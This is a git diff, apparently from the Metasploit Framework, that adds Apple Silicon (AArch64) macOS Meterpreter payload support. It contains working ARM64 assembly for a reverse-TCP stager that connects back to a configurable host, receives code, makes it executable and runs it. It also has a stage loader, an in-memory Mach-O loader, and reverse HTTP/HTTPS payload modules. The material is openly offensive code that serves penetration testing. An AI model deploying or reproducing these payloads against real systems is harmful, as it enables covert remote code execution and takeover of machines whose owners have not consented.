diff --git a/data/templates/template_aarch64_darwin.bin b/data/templates/template_aarch64_darwin.bin new file mode 100755 index 0000000000..27e941e1b4 Binary files /dev/null and b/data/templates/template_aarch64_darwin.bin differ diff --git a/external/source/shellcode/osx/aarch64/stage_mettle.s b/external/source/shellcode/osx/aarch64/stage_mettle.s new file mode 100644 index 0000000000..61e3566a98 --- /dev/null +++ b/external/source/shellcode/osx/aarch64/stage_mettle.s @@ -0,0 +1,109 @@ +.equ SYS_RECVFROM, 0x200001d +.equ SYS_MPROTECT, 0x200004a +.equ SYS_MMAP, 0x20000c5 +.equ SYS_EXIT, 0x2000001 + +.global _main +_main: + /* mmap(addr=0, length=stager_size, prot=2, flags=0x1002, fd=0, offset=0) */ + mov x0, xzr + adr x1, stager_size + ldr x1, [x1] + mov x2, #2 + mov x3, #0x1002 + mov x4, xzr + mov x5, xzr + ldr x16, =SYS_MMAP + svc 0 + + /* sockfd is in x13 */ + mov x10, x0 + + /* recvfrom(sockfd='x13', address='x10', length=stager_size, flags='MSG_WAITALL', from=0, fromlenaddr=0) */ + mov x0, x13 + mov x1, x10 + adr x2, stager_size + ldr x2, [x2] + mov x3, #0x40 + mov x4, xzr + mov x5, xzr + ldr x16, =SYS_RECVFROM + svc 0 + + /* mprotect(addr='x10', length=stager_size, prot=0x5) */ + mov x0, x10 + adr x1, stager_size + ldr x1, [x1] + mov x2, #5 + ldr x16, =SYS_MPROTECT + svc 0 + + /* mmap(addr=0, length=payload_size, prot=3, flags=0x1002, fd=0, offset=0) */ + mov x0, xzr + adr x1, payload_size + ldr x1, [x1] + mov x2, #3 + mov x3, #0x1002 + mov x4, xzr + mov x5, xzr + ldr x16, =SYS_MMAP + svc 0 + + mov x11, x0 + + /* recvfrom(sockfd='x13', address='x11', length=payload_size, flags='MSG_WAITALL', from=0, fromlenaddr=0) */ + mov x0, x13 + mov x1, x11 + adr x2, payload_size + ldr x2, [x2] + mov x3, #0x40 + mov x4, xzr + mov x5, xzr + ldr x16, =SYS_RECVFROM + svc 0 + + /* add entry_offset */ + adr x0, entry_offset + ldr x0, [x0] + add x0, x0, x10 + adr x10, payload_size + ldr x10, [x10] + mov x12, x11 + mov x15, x0 + + /* make stack space */ + /* mmap(addr=0, length=0x4000, prot=3, flags=0x1002, fd=0, offset=0) */ + mov x0, xzr + mov x1, 0x4000 + mov x2, 3 + mov x3, 0x1002 + mov x4, xzr + mov x5, xzr + ldr x16, =SYS_MMAP + svc 0 + //mov x1, sp + //bic sp, x1, #15 + //sub sp, sp, 0x1000 + add x0, x0, 0x2000 + mov sp, x0 + + mov x0, x13 + + /* jump to main_osx */ + blr x15 + +failed: + mov x0, 0 + ldr x16, =SYS_EXIT + svc 0 + +.balign 16 +stager_size: + .word 0x4242 + .word 0x4343 +payload_size: + .word 0x4444 + .word 0x4545 +entry_offset: + .word 0x4646 + .word 0x4747 diff --git a/external/source/shellcode/osx/aarch64/stager_sock_reverse.s b/external/source/shellcode/osx/aarch64/stager_sock_reverse.s new file mode 100644 index 0000000000..6c273d2b59 --- /dev/null +++ b/external/source/shellcode/osx/aarch64/stager_sock_reverse.s @@ -0,0 +1,118 @@ +.equ SYS_RECVFROM, 0x200001d +.equ SYS_MPROTECT, 0x200004a +.equ SYS_CONNECT, 0x2000062 +.equ SYS_SELECT, 0x200005d +.equ SYS_SOCKET, 0x2000061 +.equ SYS_MMAP, 0x20000c5 +.equ SYS_EXIT, 0x2000001 + +.equ AF_INET, 0x2 +.equ SOCK_STREAM, 0x1 + +.equ STDIN, 0x0 +.equ STDOUT, 0x1 +.equ STDERR, 0x2 + +.equ IP, 0x0100007f +.equ PORT, 0x5C11 + +.global _main +_main: + /* mmap(addr=0, length=0x1000, prot=0x2, flags=0x1002, fd=-1, offset=0) */ + mov x0, xzr + mov x1, #0x1000 + mov x2, #2 + mov x3, #0x1002 + mvn x4, xzr + mov x5, xzr + ldr x16, =SYS_MMAP + svc 0 + cmn x0, #0x1 + beq failed + + /* save retry_count */ + mov x12, x0 + mov x10, 0 + adr x11, retry_count + ldr x11, [x11] + + /* socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */ +socket: + mov x0, AF_INET + mov x1, SOCK_STREAM + mov x2, 0 + ldr x16, =SYS_SOCKET + svc 0 + //cbz w0, retry + + mov x13, x0 + + /* connect(sockfd, {AF_INET,4444,127.0.0.1}, 16) */ + adr x1, caddr + ldr x1, [x1] + str x1, [sp, #-8]! + mov x1, sp + mov x2, 16 + ldr x16, =SYS_CONNECT + svc 0 + //cbnz w0, retry + + /* recvfrom(sockfd='x13', address='x11', length=0x1000, flags='MSG_WAITALL', from=0, fromlenaddr=0) */ + mov x0, x13 + mov x1, x12 + mov x2, #328 + mov x3, #0x40 + mov x4, xzr + mov x5, xzr + ldr x16, =SYS_RECVFROM + svc 0 + //cbnz w0, retry + + /* mprotect(addr, 328, 0x5) */ + mov x0, x12 + mov x1, #328 + mov x2, #5 + ldr x16, =SYS_MPROTECT + svc 0 + + br x12 + +retry: + sub x11, x11, #1 + cmp x11, 0 + beq failed + + /* select(0, 0, 0, 0, &{sleep_nanoseconds, sleep_seconds}) */ + mov x0, 0 + mov x1, 0 + adr x2, sleep_nanoseconds + ldr x2, [x2] + adr x3, sleep_seconds + ldr x3, [x3] + stp x3, x2, [sp, #-16]! + mov x4, sp + mov x2, 0 + mov x3, 0 + ldr x16, =SYS_SELECT + svc 0 + bal socket + +failed: + mov x0, 0x1 + ldr x16, =SYS_EXIT + svc 0 + +.balign 16 +caddr: + .short AF_INET + .short PORT + .word IP +retry_count: + .word 0x4242 + .word 0x4242 +sleep_nanoseconds: + .word 0x4343 + .word 0x4343 +sleep_seconds: + .word 0x4444 + .word 0x4444 diff --git a/external/source/shellcode/osx/stager/Makefile b/external/source/shellcode/osx/stager/Makefile index aa1f001be2..9e58cb09b2 100644 --- a/external/source/shellcode/osx/stager/Makefile +++ b/external/source/shellcode/osx/stager/Makefile @@ -1,19 +1,27 @@ CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0 GCC_BIN_OSX=`xcrun --sdk macosx -f gcc` GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS) -GCC_OSX=$(GCC_BASE_OSX) -arch x86_64 +GCC_OSX_X64=$(GCC_BASE_OSX) -arch x86_64 +GCC_OSX_AARCH64=$(GCC_BASE_OSX) -arch arm64 -all: clean main_osx +all: clean x64_osx_stage aarch64_osx_stage -main_osx: main.c - $(GCC_OSX) -o $@ $^ +x64_osx_stage: main.c + $(GCC_OSX_X64) -o $@ $^ -install: main_osx - cp main_osx ../../../../../data/meterpreter/x64_osx_stage +aarch64_osx_stage: main.c + $(GCC_OSX_AARCH64) -o $@ $^ -shellcode: install - otool -tv main_osx +install: x64_osx_stage aarch64_osx_stage + cp x64_osx_stage ../../../../../data/meterpreter/x64_osx_stage + cp aarch64_osx_stage ../../../../../data/meterpreter/aarch64_osx_stage + +x64_shellcode: install + otool -tv x64_osx_stage + +aarch64_shellcode: install + otool -tv aarch64_osx_stage clean: - rm -f *.o main_osx + rm -f *.o x64_osx_stage aarch64_osx_stage diff --git a/external/source/shellcode/osx/stager/main.c b/external/source/shellcode/osx/stager/main.c index 4cc43e720f..51c9f57301 100644 --- a/external/source/shellcode/osx/stager/main.c +++ b/external/source/shellcode/osx/stager/main.c @@ -256,7 +256,6 @@ typedef bool (*HasThreadLocalVariables_ptr)(void * ma); typedef void (*SetUpTLVs_ptr)(void * ma, void * apis); typedef void (*AddWeakDefs_ptr)(void * apis, void * newLoaders); -typedef uint64_t (*SimpleDPrintf_ptr)(uint64_t fd, const char * fmt, const void * a); uint64_t find_macho(uint64_t addr, unsigned int increment); uint64_t find_dylib(uint64_t addr, unsigned int increment); @@ -272,6 +271,24 @@ static void print(char * str); #define printf(a,b) print(a); #endif +#ifdef __aarch64__ +/* +typedef uint64_t (*VDPrintf_ptr)(uint64_t fd, const char * fmt, ...); +void printf_sdyld_arm64(char * a, void * b, uint64_t sdyld) { + VDPrintf_ptr VDPrintf_func = find_symbol(sdyld, "__simple_vdprintf", sdyld); + //VDPrintf_func(1, a, b); + printf(a,b); +}*/ +#define printf_sdyld(a,b) print(a); +#else +typedef uint64_t (*SimpleDPrintf_ptr)(uint64_t fd, const char * fmt, const void * a); +void printf_sdyld_x86_64(char * a, void * b, uint64_t sdyld) { + SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld); + SimpleDPrintf_func(1, a, b); +} +#define printf_sdyld(a,b) printf_sdyld_x86_64(a, b, sdyld); +#endif + #define DYLD_BASE_ADDR 0x00007fff5fc00000 #define MAX_OSXVM_ADDR 0x00007ffffffff000 @@ -283,10 +300,17 @@ int main(int argc, char** argv) #endif uint64_t buffer = 0; uint64_t buffer_size = 0; +#ifdef __aarch64__ + __asm__( + "mov %0, x12\n" + "mov %1, x10\n" + : "=r"(buffer), "=r"(buffer_size)); +#else __asm__( "movq %%r10, %0;\n" "movq %%r12, %1;\n" : "=g"(buffer), "=g"(buffer_size)); +#endif #ifdef DEBUG print("hello world!\n"); @@ -384,9 +408,10 @@ int main(int argc, char** argv) } //printf("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); //printf("JITLMP: %lld\n", JustInTimeLoaderMake_func); - SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld); + //SimpleDPrintf_ptr SimpleDPrintf_func = find_symbol(sdyld, "__simple_dprintf", sdyld); #ifdef DEBUG - SimpleDPrintf_func(1, "SimpleDPrintf_func: %lld\n", SimpleDPrintf_func); + //printf_sdyld("SimpleDPrintf_func: %lld\n", SimpleDPrintf_func); + printf_sdyld("Errno: %lld\n", *(uint64_t*)find_symbol(sdyld, "_errno", sdyld)); #endif // Loader::mapSegments uintptr_t vmSpace = 0; @@ -397,11 +422,11 @@ int main(int argc, char** argv) #endif *(uint32_t*)buffer = 0xfeedfacf; #ifdef DEBUG - SimpleDPrintf_func(1, "Buffer: %lld\n", buffer); + printf_sdyld("Buffer: %lld\n", buffer); #endif AnalyzeSegmentsLayout_func((void*)buffer, &vmSpace, &hasZeroFill); #ifdef DEBUG - SimpleDPrintf_func(1, "vmSpace: %lld\n", vmSpace); + printf_sdyld("vmSpace: %lld\n", vmSpace); #endif bool isTranslated = false; // Rosetta. uint64_t extraAllocSize = 0; @@ -415,24 +440,24 @@ int main(int argc, char** argv) } vmSpace += extraAllocSize; #ifdef DEBUG - SimpleDPrintf_func(1, "Translated: %s\n", isTranslated ? "true" : "false"); + printf_sdyld("Translated: %s\n", isTranslated ? "true" : "false"); #endif uintptr_t loadAddress = 0; VMAllocate_ptr VMAllocate_func = find_symbol(sdyld, "_vm_allocate", sdyld); uint64_t mach_task_self = *(uint64_t*)find_symbol(sdyld, "_mach_task_self_", sdyld); void * vmallocate_ret = VMAllocate_func(mach_task_self, &loadAddress, vmSpace, /*VM_FLAGS_ANYWHERE: */0x1); #ifdef DEBUG - SimpleDPrintf_func(1, "VMAllocate Ret: %lld\n", vmallocate_ret); - SimpleDPrintf_func(1, "LoadAddress: %lld\n", loadAddress); + printf_sdyld("VMAllocate Ret: %lld\n", vmallocate_ret); + printf_sdyld("LoadAddress: %lld\n", loadAddress); #endif // Put regions together... // JustInTimeLoader::withRegions via MachOAnalyzer::getAllSegmentsInfos WithRegions_ptr WithRegions_func = find_symbol(sdyld, "__ZN5dyld416JustInTimeLoader11withRegionsEPKN5dyld313MachOAnalyzerEU13block_pointerFvRKNS1_5ArrayINS_6Loader6RegionEEEE", sdyld); WithRegions_func((void*)buffer, ^(struct ArrayOfRegions * rptr) { #ifdef DEBUG - SimpleDPrintf_func(1, "Region Ptrs: %lld\n", rptr); - SimpleDPrintf_func(1, "usedCount: %lld\n", rptr->_usedCount); - SimpleDPrintf_func(1, "allocCount: %lld\n", rptr->_allocCount); + printf_sdyld("Region Ptrs: %lld\n", rptr); + printf_sdyld("usedCount: %lld\n", rptr->_usedCount); + printf_sdyld("allocCount: %lld\n", rptr->_allocCount); #endif uint32_t segIndex = 0; uint64_t sliceOffset = 0; @@ -440,12 +465,12 @@ int main(int argc, char** argv) for (int i = 0 ; i < rptr->_usedCount; i++) { const struct Region region = rptr->_elements[i]; #ifdef DEBUG - SimpleDPrintf_func(1, "Region vmOffset: %lld\n", region.vmOffset); - SimpleDPrintf_func(1, "Region perms: %lld\n", region.perms); - SimpleDPrintf_func(1, "Region isZeroFill: %lld\n", region.isZeroFill); - SimpleDPrintf_func(1, "Region readOnlyData: %lld\n", region.readOnlyData); - SimpleDPrintf_func(1, "Region fileOffset: %lld\n", region.fileOffset); - SimpleDPrintf_func(1, "Region fileSize: %lld\n", region.fileSize); + printf_sdyld("Region vmOffset: %lld\n", region.vmOffset); + printf_sdyld("Region perms: %lld\n", region.perms); + printf_sdyld("Region isZeroFill: %lld\n", region.isZeroFill); + printf_sdyld("Region readOnlyData: %lld\n", region.readOnlyData); + printf_sdyld("Region fileOffset: %lld\n", region.fileOffset); + printf_sdyld("Region fileSize: %lld\n", region.fileSize); print("----\n"); #endif if ( region.isZeroFill || (region.fileSize == 0) ) @@ -455,31 +480,31 @@ int main(int argc, char** argv) int perms = region.perms; MMap_ptr MMap_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate4mmapEPvmiiim", sdyld); #ifdef DEBUG - SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); - SimpleDPrintf_func(1, "Addr: %lld\n", (void*)(loadAddress + region.vmOffset)); - SimpleDPrintf_func(1, "Size: %lld\n", (size_t)region.fileSize); - SimpleDPrintf_func(1, "Perms: %lld\n", region.perms); - SimpleDPrintf_func(1, "Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS); - SimpleDPrintf_func(1, "FD: %lld\n", (int)-1); - SimpleDPrintf_func(1, "Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset)); + printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); + printf_sdyld("Addr: %lld\n", (void*)(loadAddress + region.vmOffset)); + printf_sdyld("Size: %lld\n", (size_t)region.fileSize); + printf_sdyld("Perms: %lld\n", region.perms); + printf_sdyld("Flags: %lld\n", MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS); + printf_sdyld("FD: %lld\n", (int)-1); + printf_sdyld("Offset: %lld\n", (size_t)(sliceOffset + region.fileOffset)); #endif // MMap will init this with zeros. void* segAddress = MMap_func(*(void **)(apis+ 8), (void*)(loadAddress + region.vmOffset), (size_t)region.fileSize, PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); lastOffset = loadAddress + region.vmOffset + region.fileSize; #ifdef DEBUG - SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); - SimpleDPrintf_func(1, "Buffer: %lld\n", buffer); - SimpleDPrintf_func(1, "BufferO: %lld\n", buffer + sliceOffset + region.fileOffset); + printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); + printf_sdyld("Buffer: %lld\n", buffer); + printf_sdyld("BufferO: %lld\n", buffer + sliceOffset + region.fileOffset); #endif memcpy2(segAddress, (const void *)(buffer + sliceOffset + region.fileOffset), (size_t)region.fileSize); #ifdef DEBUG - SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); + printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); #endif Mprotect_ptr Mprotect_func = find_symbol(sdyld, "__ZNK5dyld415SyscallDelegate8mprotectEPvmi", sdyld); Mprotect_func(*(void **)(apis+ 8), segAddress, (size_t)region.fileSize, perms); #ifdef DEBUG - SimpleDPrintf_func(1, "SegAddress: %lld\n", segAddress); - SimpleDPrintf_func(1, "Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); + printf_sdyld("SegAddress: %lld\n", segAddress); + printf_sdyld("Errno: %i\n", *(int*)find_symbol(sdyld, "_errno", sdyld)); #endif ++segIndex; } @@ -502,52 +527,52 @@ int main(int argc, char** argv) struct Loaded * loaded = (struct Loaded*)(apis+32); uintptr_t startLoaderCount = loaded->size; #ifdef DEBUG - SimpleDPrintf_func(1, "Loaded Size: %lld\n", loaded->size); - SimpleDPrintf_func(1, "Loaded first: %lld\n", (loaded->elements)); - SimpleDPrintf_func(1, "Loaded Capacity: %lld\n", loaded->capacity); + printf_sdyld("Loaded Size: %lld\n", loaded->size); + printf_sdyld("Loaded first: %lld\n", (loaded->elements)); + printf_sdyld("Loaded Capacity: %lld\n", loaded->capacity); #endif struct FileID * fileid = (struct FileID *)(rtopLoader+sizeof(void *));// = { 0, 0, false }; fileid->iNode = 0; fileid->modTime = 0; fileid->isValid = false; #ifdef DEBUG - SimpleDPrintf_func(1, "Apis: %lld\n", apis); - SimpleDPrintf_func(1, "LoadAddress: %lld\n", loadAddress); - SimpleDPrintf_func(1, "JITLMP: %lld\n", JustInTimeLoaderMake_func); + printf_sdyld("Apis: %lld\n", apis); + printf_sdyld("LoadAddress: %lld\n", loadAddress); + printf_sdyld("JITLMP: %lld\n", JustInTimeLoaderMake_func); #endif void * topLoader = JustInTimeLoaderMake_func(apis, (void *)loadAddress, "", fileid, 0, false, true, false, 0); #ifdef DEBUG - SimpleDPrintf_func(1, "TopLoader: %lld\n", topLoader); - SimpleDPrintf_func(1, "Toploader (*(int*)this): %i\n", *(int *)topLoader); - SimpleDPrintf_func(1, "Loaded Size: %lld\n", loaded->size); - SimpleDPrintf_func(1, "Loaded Capacity: %lld\n", loaded->capacity); + printf_sdyld("TopLoader: %lld\n", topLoader); + printf_sdyld("Toploader (*(int*)this): %i\n", *(int *)topLoader); + printf_sdyld("Loaded Size: %lld\n", loaded->size); + printf_sdyld("Loaded Capacity: %lld\n", loaded->capacity); #endif struct PartialLoader * pl = (struct PartialLoader *)topLoader; #ifdef DEBUG - SimpleDPrintf_func(1, "LoadAddress: %lld\n", pl->mappedAddress); - SimpleDPrintf_func(1, "lateLeaveMapped: %lld\n", pl->lateLeaveMapped); - SimpleDPrintf_func(1, "hidden: %lld\n", pl->hidden); - SimpleDPrintf_func(1, "Magic: %lld\n", pl->magic); - SimpleDPrintf_func(1, "IsPrebuilt: %lld\n", pl->isPrebuilt); + printf_sdyld("LoadAddress: %lld\n", pl->mappedAddress); + printf_sdyld("lateLeaveMapped: %lld\n", pl->lateLeaveMapped); + printf_sdyld("hidden: %lld\n", pl->hidden); + printf_sdyld("Magic: %lld\n", pl->magic); + printf_sdyld("IsPrebuilt: %lld\n", pl->isPrebuilt); #endif pl->lateLeaveMapped = 1; pl = (struct PartialLoader *)topLoader; #ifdef DEBUG - SimpleDPrintf_func(1, "lateLeaveMapped: %lld\n", pl->lateLeaveMapped); + printf_sdyld("lateLeaveMapped: %lld\n", pl->lateLeaveMapped); #endif struct LoadChain * loadChainMain = (struct LoadChain *)(fileid+sizeof(struct FileID));// = { 0, *(void **)(apis+24) }; loadChainMain->previous = 0; loadChainMain->image = *(void **)(apis+24); #ifdef DEBUG - SimpleDPrintf_func(1, "mainExecutableLoader: %lld\n", *(void **)(apis+24)); - SimpleDPrintf_func(1, "mainExecutableLoader: %lld\n", loadChainMain->image); + printf_sdyld("mainExecutableLoader: %lld\n", *(void **)(apis+24)); + printf_sdyld("mainExecutableLoader: %lld\n", loadChainMain->image); #endif struct LoadChain * loadChainCaller = (struct LoadChain *)(loadChainMain+sizeof(struct LoadChain));// = { &loadChainMain, &(loaded->elements[0]) }; loadChainCaller->previous = &loadChainMain; loadChainCaller->image = &(loaded->elements[0]); #ifdef DEBUG - SimpleDPrintf_func(1, "LoadedElements: %lld\n", &(loaded->elements[0])); - SimpleDPrintf_func(1, "Toploader (*(int*)this): %i\n", *(int *)topLoader); + printf_sdyld("LoadedElements: %lld\n", &(loaded->elements[0])); + printf_sdyld("Toploader (*(int*)this): %i\n", *(int *)topLoader); #endif struct LoadChain * loadChain = (struct LoadChain *)(loadChainCaller+sizeof(struct LoadChain));// = { &loadChainCaller, topLoader }; loadChain->previous = &loadChainCaller; @@ -569,12 +594,12 @@ int main(int argc, char** argv) #endif }; #ifdef DEBUG - SimpleDPrintf_func(1, "buffer: %lld\n", diag->_buffer); - SimpleDPrintf_func(1, "startLoaderCount: %lld\n", startLoaderCount); + printf_sdyld("buffer: %lld\n", diag->_buffer); + printf_sdyld("startLoaderCount: %lld\n", startLoaderCount); #endif uint64_t newLoadersCount = loaded->size - startLoaderCount; #ifdef DEBUG - SimpleDPrintf_func(1, "newLoadersCount: %lld\n", newLoadersCount); + printf_sdyld("newLoadersCount: %lld\n", newLoadersCount); #endif void * * newLoaders = &loaded->elements[startLoaderCount]; struct ArrayOfLoaderPointers newLoadersArray = { newLoaders, newLoadersCount, newLoadersCount }; @@ -596,11 +621,11 @@ int main(int argc, char** argv) #endif void * ldr = newLoaders[i]; #ifdef DEBUG - SimpleDPrintf_func(1, "Ldr: %lld\n", ldr); + printf_sdyld("Ldr: %lld\n", ldr); #endif ApplyFixups_func(ldr, diag, apis, &dcdclsw, true); #ifdef DEBUG - SimpleDPrintf_func(1, "Diag: %lld\n", diag->_buffer); + printf_sdyld("Diag: %lld\n", diag->_buffer); #endif } // TODO: Figure out if we need addPermanentRanges. @@ -642,18 +667,18 @@ int main(int argc, char** argv) uintptr_t flags = 0; void* handle = (void*)((((uintptr_t)*rtopLoader) << 1) | flags); #ifdef DEBUG - SimpleDPrintf_func(1, "Handle: %lld\n", handle); + printf_sdyld("Handle: %lld\n", handle); #endif VMDeallocate_ptr VMDeallocate_func = find_symbol(sdyld, "_vm_deallocate", sdyld); VMDeallocate_func(mach_task_self, (void *)structspace, structspacesize); #ifdef DEBUG - SimpleDPrintf_func(1, "VMDeallocated: %lld\n", structspace); + printf_sdyld("VMDeallocated: %lld\n", structspace); #endif NSModule nm = handle; NSLookupSymbolInModule_ptr NSLookupSymbolInModule_func = find_symbol(dyld, "_NSLookupSymbolInModule", offset); NSSymbol sym_main = NSLookupSymbolInModule_func(nm, "_main"); #ifdef DEBUG - SimpleDPrintf_func(1, "sym_main: %lld\n", sym_main); + printf_sdyld("sym_main: %lld\n", sym_main); #endif NSAddressOfSymbol_ptr NSAddressOfSymbol_func = find_symbol(dyld, "_NSAddressOfSymbol", offset); addr_main = NSAddressOfSymbol_func(sym_main); @@ -773,6 +798,17 @@ uint64_t syscall_chmod(uint64_t path, long mode) { uint64_t chmod_no = 0x200000f; uint64_t ret = 0; +#ifdef __aarch64__ + __asm__( + "mov x16, %1;\n" + "mov x0, %2;\n" + "mov x1, %3;\n" + "svc #0;\n" + "mov %0, x0;\n" + : "=r"(ret) + : "r"(chmod_no), "r"(path), "r"(mode) + :); +#else __asm__( "movq %1, %%rax;\n" "movq %2, %%rdi;\n" @@ -782,6 +818,7 @@ uint64_t syscall_chmod(uint64_t path, long mode) : "=g"(ret) : "g"(chmod_no), "S"(path), "g"(mode) :); +#endif return ret; } @@ -843,6 +880,21 @@ int detect_sierra() uint64_t valsizeptr = (uint64_t)&size; uint64_t ret = 0; +#ifdef __aarch64__ + __asm__( + "mov x16, %1;\n" + "mov x0, %2;\n" + "mov x1, %3;\n" + "mov x2, %4;\n" + "mov x3, %5;\n" + "eor x4, x4, x4;\n" + "eor x5, x5, x5;\n" + "svc #0;\n" + "mov %0, x0;\n" + : "=r"(ret) + : "r"(sc_sysctl), "r"(nameptr), "r"(namelen), "r"(valptr), "r"(valsizeptr) + : ); +#else __asm__( "mov %1, %%rax;\n" "mov %2, %%rdi;\n" @@ -856,6 +908,7 @@ int detect_sierra() : "=g"(ret) : "g"(sc_sysctl), "g"(nameptr), "g"(namelen), "g"(valptr), "g"(valsizeptr) : ); +#endif // osrelease is 16.x.x on Sierra if (ret == 0 && size > 2) { @@ -874,6 +927,16 @@ uint64_t syscall_shared_region_check_np() long shared_region_check_np = 0x2000126; // #294 uint64_t address = 0; unsigned long ret = 0; +#ifdef __aarch64__ + __asm__( + "mov x16, %1;\n" + "mov x0, %2;\n" + "svc #0;\n" + "mov %0, x0;\n" + : "=r"(ret) + : "r"(shared_region_check_np), "r"(&address) + : "x16", "x0" ); +#else __asm__( "movq %1, %%rax;\n" "movq %2, %%rdi;\n" @@ -882,6 +945,7 @@ uint64_t syscall_shared_region_check_np() : "=g"(ret) : "g"(shared_region_check_np), "g"(&address) : "rax", "rdi" ); +#endif return address; } @@ -916,6 +980,18 @@ void print(char * str) unsigned long long addr = (unsigned long long) str; unsigned long ret = 0; /* ret = write(stdout, str, len); */ +#ifdef __aarch64__ + __asm__( + "mov x16, %1;\n" + "mov x0, %2;\n" + "mov x1, %3;\n" + "mov x2, %4;\n" + "svc #0;\n" + "mov %0, x0;\n" + : "=r"(ret) + : "r"(write), "r"(stdout), "r"(addr), "r"(len) + : "x0", "x1", "x2" ); +#else __asm__( "movq %1, %%rax;\n" "movq %2, %%rdi;\n" @@ -926,5 +1002,6 @@ void print(char * str) : "=g"(ret) : "g"(write), "g"(stdout), "S"(addr), "g"(len) : "rax", "rdi", "rdx" ); +#endif } #endif diff --git a/lib/msf/base/sessions/meterpreter_aarch64_osx.rb b/lib/msf/base/sessions/meterpreter_aarch64_osx.rb new file mode 100644 index 0000000000..6cfd49ca45 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_aarch64_osx.rb @@ -0,0 +1,28 @@ +# -*- coding: binary -*- + + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_aarch64_OSX < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.base_platform = 'osx' + self.base_arch = ARCH_AARCH64 + end +end + +end +end + diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index a26b2c5455..1ecf627dfa 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -166,6 +166,9 @@ require 'digest/sha1' if plat.index(Msf::Module::Platform::Linux) return to_linux_aarch64_elf(framework, code) end + if plat.index(Msf::Module::Platform::OSX) + return to_osx_aarch64_macho(framework, code) + end # XXX: Add remaining AARCH64 systems here end @@ -867,6 +870,24 @@ require 'digest/sha1' mo end + # self.to_osx_aarch64_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] + def self.to_osx_aarch64_macho(framework, code, opts = {}) + + # Allow the user to specify their own template + set_template_default(opts, "template_aarch64_darwin.bin") + + mo = self.get_file_contents(opts[:template]) + bo = self.find_payload_tag(mo, "Invalid OSX Aarch64 Mach-O template: missing \"PAYLOAD:\" tag") + mo[bo, code.length] = code + mo + end + # self.to_osx_ppc_macho # # @param framework [Msf::Framework] The framework of you want to use diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 7cb127bab4..4909048a5f 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -170,6 +170,7 @@ class MsfAutoload 'pe_inject' => 'PEInject', 'payload_db_conf' => 'PayloadDBConf', 'reverse_tcp_x86' => 'ReverseTcp_x86', + 'reverse_tcp_aarch64' => 'ReverseTcp_Aarch64', 'ruby_dl' => 'RubyDL', 'wmic' => 'WMIC', 'net_api' => 'NetAPI', @@ -247,6 +248,7 @@ class MsfAutoload 'meterpreter_mipsbe_linux' => 'Meterpreter_mipsbe_Linux', 'meterpreter_aarch64_apple_ios' => 'Meterpreter_aarch64_Apple_iOS', 'meterpreter_x64_osx' => 'Meterpreter_x64_OSX', + 'meterpreter_aarch64_osx' => 'Meterpreter_aarch64_OSX', 'meterpreter_ppc_linux' => 'Meterpreter_ppc_Linux', 'meterpreter_x64_win' => 'Meterpreter_x64_Win', 'meterpreter_php' => 'Meterpreter_Php_Php', diff --git a/modules/payloads/singles/osx/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/osx/aarch64/meterpreter_reverse_http.rb new file mode 100644 index 0000000000..816f8dd8bb --- /dev/null +++ b/modules/payloads/singles/osx/aarch64/meterpreter_reverse_http.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +# Module generated by tools/modules/generate_mettle_payloads.rb +module MetasploitModule + + CachedSize = 827315 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OSX Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ', + 'timwr', + 'usiegl00' + ], + 'Platform' => 'osx', + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_aarch64_OSX + ) + ) + end + + def generate + opts = { + scheme: 'http', + stageless: true + }.merge(mettle_logging_config) + MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec + end +end diff --git a/modules/payloads/singles/osx/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/osx/aarch64/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..18016a42a9 --- /dev/null +++ b/modules/payloads/singles/osx/aarch64/meterpreter_reverse_https.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +# Module generated by tools/modules/generate_mettle_payloads.rb +module MetasploitModule + + CachedSize = 827315 + + include Msf::Payload::Single + include 